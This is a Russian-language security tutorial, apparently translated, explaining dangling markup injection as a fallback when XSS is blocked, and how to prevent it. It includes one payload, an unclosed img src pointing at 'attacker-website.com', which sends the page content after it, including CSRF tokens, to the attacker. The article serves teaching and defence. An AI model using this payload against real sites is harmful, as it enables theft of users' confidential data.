XSS: Внедрение висячей разметки

Источник: «Dangling markup injection»
В этой статье мы рассмотрим внедрение висячей разметки, как работает типичный эксплойт и как предотвратить атаки висячей разметки.

Что такое висячая разметки

Внедрение висячей разметки — метод захвата данных между доменами в ситуациях, когда полная атака с использованием межсайтовых сценариев невозможна.

Предположим, приложение встраивает данные контролируемые атакующим, в свои ответы небезопасным способом:

<input type="text" name="input" value="КОНТРОЛИРУЕМЫЕ ДАННЫЕ ЗДЕСЬ

Предположим также, что приложение не фильтрует и не экранирует символы > или .. Атакующий может использовать следующий синтаксис, чтобы выйти из значения атрибута в кавычках и закрывающего тега, и вернуться в контекст HTML:

">

В этой ситуации атакующий, естественно, попытается выполнить XSS. Но предположим, что обычная XSS-атака невозможна из-за входных фильтров, политики безопасности контента или других препятствий. Здесь всё ещё возможно провести атаку с внедрением висячей разметки, используя полезную нагрузку, подобную следующей:

"><img src='//attacker-website.com?

Полезная нагрузка создаёт тег img и определяет начало атрибута src, содержащего URL-адрес на сервере атакующего. Обратите внимание, что полезная нагрузка атакующего не закрывает атрибут src, который остаётся висящим. Когда браузер анализирует ответ, он будет смотреть вперёд, пока не встретит одинарную кавычку, закрывающую атрибут. До этого символа, всё будет рассматриваться как часть URL-адреса и будет отправлено на сервер злоумышленника в строке запроса URL-адреса. Любые не буквенно-цифровые символы, включая символ новой строки, будут закодированы в URL-адресе.

Следствием атаки является то, что злоумышленник может перехватить часть ответа приложения после точки внедрения, которая может содержать конфиденциальные данные. В зависимости от функциональности приложения это могут быть CSRF токены, сообщения электронной почты или финансовые данные.

Как предотвратить атаки с висячей разметкой

Предотвратить атаки с висячей разметкой можно используя те же самые общие средства защиты для предотвращения межсайтовых сценариев, кодируя данные на выходе и проверяя данные на входе.

Вы также можете смягчить некоторые атаки с висячей разметкой, используя политику безопасности контента (CSP). Например, вы можете предотвратить некоторые (но не все) атаки, используя политику, не позволяющую тегам, таким как img, загружать внешние ресурсы.

Примечание: Браузер Chrome решил противостоять атакам с висячей разметкой, не позволяя тегам, таким как img, определять URL-адреса, содержащие необработанные символы, такие как угловые скобки и символы новой строки. Это предотвратит атаки, поскольку данные, которые в противном случае были бы захвачены, обычно содержат эти необработанные символы, поэтому атака блокируется.

Дополнительные материалы

Предыдущая Статья

Vim: Дилемма swap и backup файлов

Следующая Статья

Кликджекинг (UI redressing)